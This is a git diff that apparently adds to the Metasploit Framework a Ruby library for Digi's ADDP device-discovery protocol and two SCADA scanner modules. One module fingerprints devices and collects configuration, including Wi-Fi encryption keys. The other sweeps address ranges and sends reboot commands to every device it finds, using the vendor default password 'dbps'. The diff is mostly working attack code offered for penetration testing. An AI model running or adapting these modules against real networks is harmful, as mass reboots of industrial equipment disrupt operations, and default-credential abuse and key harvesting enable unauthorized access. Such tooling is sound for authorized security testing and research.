diff --git a/lib/rex/proto/addp.rb b/lib/rex/proto/addp.rb new file mode 100644 index 0000000000..d996f2c82f --- /dev/null +++ b/lib/rex/proto/addp.rb @@ -0,0 +1,227 @@ +# -*- coding: binary -*- +module Rex +module Proto + + # + # This provides constants, encoding, and decoding routines for Digi International's ADDP protocol + # + class ADDP + + require "rex/socket" + + # + # See the following URLs for more information: + # - http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html + # - http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29 + # + + + MAGICS = %W{ DIGI DVKT DGDP } + ERRORS = %W{ no_response unknown success authenticaton_failed unit_has_address invalid_value invalid_data unsupported_command } + WLAN_ENC_MODES = %W{ unknown none wep40 wep128 } + WLAN_AUTH_MODES = %W{ unknown open shared_key open_shared_key } + HWTYPES = %W{ + unknown ps3_desk8 ps3_desk16 ps3_desk32 ps3_rack16 ps2_desk16 ps2_rack16 + lets_desk1 lets_desk2 lets_desk4 dorpia_dinrail1 nubox01 nubox02 nubox04 + digione_sp digione_ia digione_em + } + + CMD_CONF_REQ = 1 + CMD_CONF_REP = 2 + CMD_SET_ADDR_REQ = 3 + CMD_SET_ADDR_REP = 4 + CMD_REBOOT_REQ = 5 + CMD_REBOOT_REP = 6 + CMD_SET_DHCP_REQ = 7 + CMD_SET_DHCP_REP = 8 + CMD_SET_WL_REQ = 9 + CMD_SET_WL_REP = 10 + CMD_SET_WL_COUNTRIES_REQ = 11 + CMD_SET_WL_COUNTRIES_REP = 12 + CMD_EDP = 13 + CMD_CNT = 14 + + + + def self.mac2bin(mac) + mac.split(":").map{|c| c.to_i(16) }.pack("C*") + end + + def self.bin2mac(bin) + bin.unpack("C6").map{|x| "%.2x" % x }.join(":").upcase + end + + def self.encode_password(pwd="dbps") + [pwd.length].pack("C") + pwd + end + + def self.request_config(magic, dmac="\xff\xff\xff\xff\xff\xff") + mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac) + req = magic + [ CMD_CONF_REQ, 6].pack("nn") + mac + return req + end + + def self.request_config_all(dmac="\xff\xff\xff\xff\xff\xff") + mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac) + res = [] + MAGICS.each { |m| res << self.request_config(m, dmac) } + return res + end + + def self.request_static_ip(magic, dmac, ip, mask, gw, pwd="dbps") + mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac) + buf = + Rex::Socket.addr_aton(ip) + + Rex::Socket.addr_aton(mask) + + Rex::Socket.addr_aton(gw) + + mac + + self.encode_password(pwd) + + req = magic + [CMD_SET_ADDR_REQ, buf.length].pack("nn") + buf + return req + end + + def self.request_dhcp(magic, dmac, enabled, pwd="dbps") + mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac) + buf = + [ enabled ? 1 : 0 ].pack("C") + + mac + + self.encode_password(pwd) + + req = magic + [CMD_SET_DHCP_REQ, buf.length].pack("nn") + buf + return req + end + + def self.request_reboot(magic, dmac, pwd="dbps") + mac = (dmac.length == 6) ? dmac : self.mac2bin(dmac) + buf = + mac + + self.encode_password(pwd) + + req = magic + [CMD_REBOOT_REQ, buf.length].pack("nn") + buf + return req + end + + def self.decode_reply(data) + res = {} + r_magic = data[0,4] + r_ptype = data[4,2].unpack("n").first + r_plen = data[6,2].unpack("n").first + buff = data[8, r_plen] + bidx = 0 + + res[:magic] = data[0,4] + res[:cmd] = r_ptype + + while bidx < (buff.length - 2) + i_type, i_len = buff[bidx, 2].unpack("CC") + i_data = buff[bidx + 2, i_len] + + break if i_data.length != i_len + + case i_type + when 0x01 + res[:mac] = self.bin2mac(i_data) + when 0x02 + res[:ip] = Rex::Socket.addr_ntoa(i_data) + when 0x03 + res[:mask] = Rex::Socket.addr_ntoa(i_data) + when 0x04 + res[:hostname] = i_data + when 0x05 + res[:domain] = i_data + when 0x06 + res[:hwtype] = HWTYPES[ i_data.unpack("C").first ] || HWTYPES[ 0 ] + when 0x07 + res[:hwrev] = i_data.unpack("C").first + when 0x08 + res[:fwrev] = i_data + when 0x09 + res[:msg] = i_data + when 0x0a + res[:result] = i_data.unpack("C").first + when 0x0b + res[:gw] = Rex::Socket.addr_ntoa(i_data) + when 0x0c + res[:advisory] = i_data.unpack("n").first + when 0x0d + res[:hwname] = i_data + when 0x0e + res[:realport] = i_data.unpack("N").first + when 0x0f + res[:dns] = Rex::Socket.addr_ntoa(i_data) + when 0x10 + res[:dhcp] = (i_data.unpack("C").first == 0) ? false : true + when 0x11 + res[:error] = ERRORS[ i_data.unpack("C").first ] || ERRORS[0] + when 0x12 + res[:ports] = i_data.unpack("C").first + when 0x13 + res[:realport_enc] = (i_data.unpack("C").first == 0) ? false : true + when 0x14 + res[:version] = i_data.unpack("n").first + when 0x15 + res[:vendor_guid] = i_data.unpack("H*") # GUID + when 0x16 + res[:iftype] = i_data.unpack("C").first + when 0x17 + res[:challenge] = i_data # Unknown format + when 0x18 + res[:cap_port] = i_data.unpack("n").first + when 0x19 + res[:edp_devid] = i_data.unpack("H*").first # Unknown format + when 0x1a + res[:edp_enabled] = (i_data.unpack("C").first == 0) ? false : true + when 0x1b + res[:edp_url] = i_data + when 0x1c + res[:wl_ssid] = i_data + when 0x1d + res[:wl_auto_ssid] = (i_data.unpack("n").first == 0) ? false : true + when 0x1e + res[:wl_tx_enh_power] = i_data.unpack("n").first + when 0x1f + res[:wl_auth_mode] = WLAN_AUTH_MODES[ i_data.unpack("n").first ] || WLAN_AUTH_MODES[ 0 ] + when 0x20 + res[:wl_enc_mode] = WLAN_ENC_MODES[ i_data.unpack("n").first ] || WLAN_ENC_MODES[ 0 ] + when 0x21 + res[:wl_enc_key] = i_data + when 0x22 + res[:wl_cur_country] = i_data + when 0x23 + res[:wl_country_list] = i_data + else + # Store unknown responses + res["unknown_0x#{"%.2x" % i_type}".to_sym] = i_data + end + + bidx = bidx + 2 + i_len + end + return res + end + + def self.reply_to_string(res) + str = "" + + fields = [ + :hwname, :hwtype, :hwrev, :fwrev, + :mac, :ip, :mask, :gw, :hostname, :domain, :dns, :dhcp, + :msg, :result, :error, + :advisory, :ports, :realport, :realport_enc, + :version, :vendor_guid, :iftype, :challenge, :cap_port, :edp_devid, :edp_enabled, + :edp_url, :wl_ssid, :wl_auto_ssid, :wl_tx_enh_power, :wl_auth_mode, :wl_enc_mode, + :wl_enc_key, :wl_cur_country, :wl_country_list, :magic + ] + + fields.each do |fname| + next unless res.has_key?(fname) + str << "#{fname}:#{res[fname]} " + end + return str + end + + end + +end +end + diff --git a/modules/auxiliary/scanner/scada/digi_addp_reboot.rb b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb new file mode 100644 index 0000000000..35ac287533 --- /dev/null +++ b/modules/auxiliary/scanner/scada/digi_addp_reboot.rb @@ -0,0 +1,152 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' +require 'rex/proto/addp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Digi ADDP Remote Reboot Initiator', + 'Version' => '$Revision$', + 'Description' => 'Reboot Digi International based equipment through the ADDP service', + 'Author' => 'hdm', + 'References' => + [ + ['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'], + ['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'], + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::CHOST, + OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), + Opt::RPORT(2362), + OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps']) + ], self.class) + end + + + # Define our batch size + def run_batch_size + datastore['BATCHSIZE'].to_i + end + + def rport + datastore['RPORT'].to_i + end + + # Fingerprint a single host + def run_batch(batch) + + print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + + @results = {} + begin + udp_sock = nil + idx = 0 + + # Create an unbound UDP socket if no CHOST is specified, otherwise + # create a UDP socket bound to CHOST (in order to avail of pivoting) + udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) + add_socket(udp_sock) + + batch.each do |ip| + begin + + # Try all currently-known magic probe values + Rex::Proto::ADDP.request_config_all.each do |pkt| + udp_sock.sendto(pkt, ip, rport, 0) + end + + rescue ::Interrupt + raise $! + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + end + + if (idx % 30 == 0) + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + parse_reply(r) + end + end + + idx += 1 + end + + while (r = udp_sock.recvfrom(65535, 3) and r[1]) + parse_reply(r) + end + + queue = {} + @results.each_pair do |ip,res| + queue[ip] = res + end + @results = {} + + queue.each_pair do |ip, res| + info = Rex::Proto::ADDP.reply_to_string(res) + print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...") + pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD']) + udp_sock.sendto(pkt, ip, rport, 0) + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + parse_reply(r) + end + end + + while (r = udp_sock.recvfrom(65535, 5) and r[1]) + parse_reply(r) + end + + rescue ::Interrupt + raise $! + rescue ::Errno::ENOBUFS + print_status("Socket buffers are full, waiting for them to flush...") + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + parse_reply(r) + end + select(nil, nil, nil, 0.25) + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e} #{e.backtrace}") + end + end + + + def parse_reply(pkt) + # Ignore "empty" packets + return if not pkt[1] + + addr = pkt[1] + if(addr =~ /^::ffff:/) + addr = addr.sub(/^::ffff:/, '') + end + + data = pkt[0] + + @results[addr] ||= {} + @results[addr] = Rex::Proto::ADDP.decode_reply(data) + + if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP + print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr])) + end + + return unless @results[addr][:magic] and @results[addr][:mac] + end + + +end diff --git a/modules/auxiliary/scanner/scada/digi_addp_version.rb b/modules/auxiliary/scanner/scada/digi_addp_version.rb new file mode 100644 index 0000000000..acb5722184 --- /dev/null +++ b/modules/auxiliary/scanner/scada/digi_addp_version.rb @@ -0,0 +1,141 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' +require 'rex/proto/addp' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Digi ADDP Information Discovery', + 'Version' => '$Revision$', + 'Description' => 'Discover host information through the Digi International ADDP service', + 'Author' => 'hdm', + 'References' => + [ + ['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'], + ['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'], + ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::CHOST, + OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), + Opt::RPORT(2362) + ], self.class) + end + + + # Define our batch size + def run_batch_size + datastore['BATCHSIZE'].to_i + end + + def rport + datastore['RPORT'].to_i + end + + # Fingerprint a single host + def run_batch(batch) + + print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)") + + @results = {} + begin + udp_sock = nil + idx = 0 + + # Create an unbound UDP socket if no CHOST is specified, otherwise + # create a UDP socket bound to CHOST (in order to avail of pivoting) + udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) + add_socket(udp_sock) + + batch.each do |ip| + begin + + # Try all currently-known magic probe values + Rex::Proto::ADDP.request_config_all.each do |pkt| + udp_sock.sendto(pkt, ip, rport, 0) + end + + rescue ::Interrupt + raise $! + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused + nil + end + + if (idx % 30 == 0) + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + parse_reply(r) + end + end + + idx += 1 + end + + while (r = udp_sock.recvfrom(65535, 3) and r[1]) + parse_reply(r) + end + + rescue ::Interrupt + raise $! + rescue ::Errno::ENOBUFS + print_status("Socket buffers are full, waiting for them to flush...") + while (r = udp_sock.recvfrom(65535, 0.1) and r[1]) + parse_reply(r) + end + select(nil, nil, nil, 0.25) + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e} #{e.backtrace}") + end + end + + + def parse_reply(pkt) + # Ignore "empty" packets + return if not pkt[1] + + addr = pkt[1] + if(addr =~ /^::ffff:/) + addr = addr.sub(/^::ffff:/, '') + end + + data = pkt[0] + + @results[addr] ||= {} + @results[addr] = Rex::Proto::ADDP.decode_reply(data) + + return unless @results[addr][:magic] and @results[addr][:mac] + + inf = Rex::Proto::ADDP.reply_to_string(@results[addr]) + + if inside_workspace_boundary?(addr) + report_service( + :host => addr, + :mac => @results[addr][:mac], + :port => pkt[2], + :proto => 'udp', + :name => 'addp', + :info => inf + ) + end + print_status("#{addr}:#{pkt[2]} #{inf}") + end + + +end